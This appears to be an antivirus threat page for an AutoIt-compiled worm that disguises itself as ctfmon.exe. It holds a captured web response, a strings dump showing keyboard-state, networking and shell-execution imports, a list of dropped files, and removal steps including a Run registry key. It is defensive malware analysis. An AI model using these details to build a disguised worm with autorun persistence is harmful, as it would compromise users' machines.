Date: Mon, 05 May 2014 21:06:37 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>.    <META NAME="ROB
OTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is
frozen.</title>. <style>. * { margin: 0; padding
: 0; }. body {. background: #ddd url(data:image/jpeg
;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAA
D/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7
vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOn
g9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2
MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG
5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI
IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLm
Fkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20v
eGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLj
Avc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hv
cCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRT
A4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMx
NjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIH
N0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5
MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC..


The Worm connects to the servers at the folowing location(s):

%original file name%.exe_644:

.text
`.rdata
@.data
bkav.plp2
.rsrc
s%j.Zf
tGHt.Ht&
tCPh
SSSSh
\$%u#Sj
Please contact the application's support team for more information.
- Attempt to initialize the CRT more than once.
- CRT not initialized
- floating point support not loaded
GetProcessWindowStation
USER32.DLL
operator
This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support.
uxtheme.dll
kernel32.dll
operand of unlimited repeat could match the empty string
POSIX named classes are supported only within a class
erroffset passed as NULL
POSIX collating elements are not supported
this version of PCRE is not compiled with PCRE_UTF8 support
PCRE does not support \L, \l, \N, \U, or \u
support for \P, \p, and \X has not been compiled
(*VERB) with an argument is not supported
ICMP.DLL
advapi32.dll
RegDeleteKeyExW
WSOCK32.dll
VERSION.dll
WINMM.dll
COMCTL32.dll
MPR.dll
InternetCrackUrlW
HttpQueryInfoW
HttpOpenRequestW
HttpSendRequestW
FtpOpenFileW
FtpGetFileSize
InternetOpenUrlW
WININET.dll
PSAPI.DLL
USERENV.dll
GetProcessHeap
CreatePipe
GetWindowsDirectoryW
KERNEL32.dll
OpenWindowStationW
SetProcessWindowStation
CloseWindowStation
MapVirtualKeyW
EnumChildWindows
EnumWindows
VkKeyScanW
GetKeyState
GetKeyboardState
SetKeyboardState
GetAsyncKeyState
keybd_event
EnumThreadWindows
ExitWindowsEx
UnregisterHotKey
RegisterHotKey
GetKeyboardLayoutNameW
USER32.dll
SetViewportOrgEx
GDI32.dll
COMDLG32.dll
RegOpenKeyExW
RegCloseKey
RegEnumKeyExW
RegCreateKeyExW
RegDeleteKeyW
ADVAPI32.dll
ShellExecuteW
SHFileOperationW
ShellExecuteExW
SHELL32.dll
ole32.dll
OLEAUT32.dll
GetCPInfo
GetConsoleOutputCP
zcÁ
mscoree.dll
KERNEL32.DLL
>>>AUTOIT NO CMDEXECUTE<<<
CMDLINERAW
CMDLINE
/AutoIt3ExecuteLine
/AutoIt3ExecuteScript
%s (%d) : ==> %s.:
Line %d:
Line %d (File "%s"):
%s (%d) : ==> %s:
AutoIt script files (*.au3, *.a3x)
*.au3;*.a3x
All files (*.*)
#NoAutoIt3Execute
APPSKEY
04090000
%u.%u.%u.%u
0.0.0.0
Mddddd
%s (%d) : ==> %s:
UDPSTARTUP
UDPSHUTDOWN
UDPSEND
UDPRECV
UDPOPEN
UDPCLOSESOCKET
UDPBIND
TRAYGETMSG
TCPSTARTUP
TCPSHUTDOWN
TCPSEND
TCPRECV
TCPNAMETOIP
TCPLISTEN
TCPCONNECT
TCPCLOSESOCKET
TCPACCEPT
SHELLEXECUTEWAIT
SHELLEXECUTE
REGENUMKEY
MSGBOX
ISKEYWORD
HTTPSETUSERAGENT
HTTPSETPROXY
HOTKEYSET
GUIREGISTERMSG
GUIGETMSG
GUICTRLSENDMSG
GUICTRLRECVMSG
FTPSETPROXY
\??\%s
GUI_RUNDEFMSG
SendKeyDelay
SendKeyDownDelay
TCPTimeout
AUTOITCALLVARIABLE%d
255.255.255.255
Keyword
AutoIt.Error
Null Object assignment in FOR..IN loop
Incorrect Object type in FOR..IN loop
HOTKEYPRESSED
AUTOITEXE
WINDOWSDIR
3, 3, 6, 1
HKEY_LOCAL_MACHINE
HKEY_CLASSES_ROOT
HKEY_CURRENT_CONFIG
HKEY_CURRENT_USER
HKEY_USERS
%d/d/d
c:\%original file name%.exe
:C:\%original file name%.exe
1, 0, 0, 1

 ctfmon.exe_332:

.text
`.rdata
@.data
.rsrc
s%j.Zf
tGHt.Ht&
tCPh
SSSSh
\$%u#Sj
Please contact the application's support team for more information.
- Attempt to initialize the CRT more than once.
- CRT not initialized
- floating point support not loaded
GetProcessWindowStation
USER32.DLL
operator
This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support.
uxtheme.dll
kernel32.dll
operand of unlimited repeat could match the empty string
POSIX named classes are supported only within a class
erroffset passed as NULL
POSIX collating elements are not supported
this version of PCRE is not compiled with PCRE_UTF8 support
PCRE does not support \L, \l, \N, \U, or \u
support for \P, \p, and \X has not been compiled
(*VERB) with an argument is not supported
ICMP.DLL
advapi32.dll
RegDeleteKeyExW
WSOCK32.dll
VERSION.dll
WINMM.dll
COMCTL32.dll
MPR.dll
InternetCrackUrlW
HttpQueryInfoW
HttpOpenRequestW
HttpSendRequestW
FtpOpenFileW
FtpGetFileSize
InternetOpenUrlW
WININET.dll
PSAPI.DLL
USERENV.dll
GetProcessHeap
CreatePipe
GetWindowsDirectoryW
KERNEL32.dll
OpenWindowStationW
SetProcessWindowStation
CloseWindowStation
MapVirtualKeyW
EnumChildWindows
EnumWindows
VkKeyScanW
GetKeyState
GetKeyboardState
SetKeyboardState
GetAsyncKeyState
keybd_event
EnumThreadWindows
ExitWindowsEx
UnregisterHotKey
RegisterHotKey
GetKeyboardLayoutNameW
USER32.dll
SetViewportOrgEx
GDI32.dll
COMDLG32.dll
RegOpenKeyExW
RegCloseKey
RegEnumKeyExW
RegCreateKeyExW
RegDeleteKeyW
ADVAPI32.dll
ShellExecuteW
SHFileOperationW
ShellExecuteExW
SHELL32.dll
ole32.dll
OLEAUT32.dll
GetCPInfo
GetConsoleOutputCP
zcÁ
mscoree.dll
KERNEL32.DLL
>>>AUTOIT NO CMDEXECUTE<<<
CMDLINERAW
CMDLINE
/AutoIt3ExecuteLine
/AutoIt3ExecuteScript
%s (%d) : ==> %s.:
Line %d:
Line %d (File "%s"):
%s (%d) : ==> %s:
AutoIt script files (*.au3, *.a3x)
*.au3;*.a3x
All files (*.*)
#NoAutoIt3Execute
APPSKEY
04090000
%u.%u.%u.%u
0.0.0.0
Mddddd
%s (%d) : ==> %s:
UDPSTARTUP
UDPSHUTDOWN
UDPSEND
UDPRECV
UDPOPEN
UDPCLOSESOCKET
UDPBIND
TRAYGETMSG
TCPSTARTUP
TCPSHUTDOWN
TCPSEND
TCPRECV
TCPNAMETOIP
TCPLISTEN
TCPCONNECT
TCPCLOSESOCKET
TCPACCEPT
SHELLEXECUTEWAIT
SHELLEXECUTE
REGENUMKEY
MSGBOX
ISKEYWORD
HTTPSETUSERAGENT
HTTPSETPROXY
HOTKEYSET
GUIREGISTERMSG
GUIGETMSG
GUICTRLSENDMSG
GUICTRLRECVMSG
FTPSETPROXY
\??\%s
GUI_RUNDEFMSG
SendKeyDelay
SendKeyDownDelay
TCPTimeout
AUTOITCALLVARIABLE%d
255.255.255.255
Keyword
AutoIt.Error
Null Object assignment in FOR..IN loop
Incorrect Object type in FOR..IN loop
HOTKEYPRESSED
AUTOITEXE
WINDOWSDIR
3, 3, 6, 1
HKEY_LOCAL_MACHINE
HKEY_CLASSES_ROOT
HKEY_CURRENT_CONFIG
HKEY_CURRENT_USER
HKEY_USERS
%d/d/d
%System%\
ctfmon.exe
:%System%\
5.1.2600.5512 (xpsp.080413-2105)
CTFMON.EXE
Windows
Operating System
5.1.2600.5512


Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.


Manual removal*

  1. Terminate malicious process(es) (How to End a Process With the Task Manager):

    WMIADAP.EXE:1252
    tree.com:760
    tree.com:804
    makecab.exe:1036
    %original file name%.exe:644
     ctfmon.exe:332

  2. Delete the original Worm file.
  3. Delete or disinfect the following files created/modified by the Worm:

    %System%\wbem\Performance\WmiApRpl_new.ini (1856 bytes)
    %System%\PerfStringBackup.TMP (1471032 bytes)
    %System%\perfc009.dat (151 bytes)
    %System%\perfh009.dat (3509 bytes)
    %System%\wbem\Performance\WMIAPRPL_NEW.H (984 bytes)
    %System%\PerfStringBackup.INI (3361 bytes)
    %System%\tree.txt (20022246 bytes)
    %System%\DiskFile.CAB (2449 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\cab3 (34 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\cab2 (13073 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\cab5 (34 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\cab4 (13073 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\cab6 (8 bytes)
    %System%\bkstsc.acn (8449 bytes)
    %System%\ ctfmon.exe (5873 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\ramybsw (1441 bytes)
    %System%\bkst.exe (8353 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\aut3.tmp (6385 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\aut1.tmp (784 bytes)
    %System%\ins.exe (15116 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\aut2.tmp (6289 bytes)
    %System%\source.ex_ (15116 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\jthkjru (1633 bytes)
    %System%\ctfver.acn (20 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\aut4.tmp (784 bytes)

  4. Delete the following value(s) in the autorun key (How to Work with System Registry):

    [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
    "ctfmon" = "%System%\ ctfmon.exe"

  5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.